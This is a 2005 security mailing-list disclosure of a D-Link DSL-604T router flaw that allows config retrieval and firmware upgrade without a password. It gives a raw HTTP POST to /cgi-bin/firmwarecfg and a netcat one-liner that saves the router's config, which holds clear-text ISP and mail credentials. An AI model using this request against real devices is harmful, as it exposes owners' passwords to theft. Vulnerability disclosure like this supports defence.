mailing list archives
504T and now also 604T remote access.
From: alessandro <alessandro () sideralis net>
Date: Sat, 28 May 2005 16:34:20 +0200
the problem pointed out by Francesco Orro is completely different by the
one i had.
Yes, the file is the same, but if you continue reading, you can see what
i just said:
the two bugs are completely different.
The one i've described can be used even if is not the first access to
the router, the opposite
of what is written in Orro's mail, method of exploitation is different too.
Anyway, i found that dlink tried to fix this bug in DSL-604T series, but
it seems that it
didn't so well. Here is another post about this other bug:
Device: CUSTOMER=DLinkEU MODEL=DSL-604T
Version: only tested with VERSION=V1.00B02T02.EU.20040610
Bugs: i) remote firmware upgrade without password
ii) config retrieval without password
Status: vendor contacted
Workaround: disable remote web management
Author: Alessandro Audero
DSL-604T is a D-Link router/ADSL modem with a linux system on it based
on MIPS 4KEc V4.8. This is the uname that i found from the device i
Linux version 2.4.17_mvl21-malta-mips_fp_le
(tiger () fd7 alphanetworks com) (gcc version 2.95.3 20010315
(release/MontaVista)) #71 Tue Feb 17 01:16:45 GMT 2004
It supports a remote web management console, that at first sigth asks for
a username and a password. The URL should be something like this:
and if you click on 'login' you'll get this other URL:
that obviously tells you that you have typed in a wrong password.
This router seems to fix previous 504T vulnerability, denying dir listing
of /cgi-bin/ and calling firmwarecfg from a password protected page.
But if you look at the source of the frame
you can see that firmwarecfg is called with a post and that this action
is allowed even if you don't know any password.
Configuration and password retrieval is in this way possible.
You can use a POST like this:
POST /cgi-bin/firmwarecfg HTTP/1.1\r\n
Content-Disposition: form-data; name="config.x"\r\n
Content-Disposition: form-data; name="config.y"\r\n
Saving this stuff in a file and then doing something like that:
cat lamepost.txt | nc ipaddress 80 > ipaddress.config.xml
you have the router config in ipaddress.config.xml.
Same trick of the previous paper: username and password are written in
clear text, even those of the internet provider, mail, etc.
That's all, folks.
- 504T and now also 604T remote access. alessandro (May 31)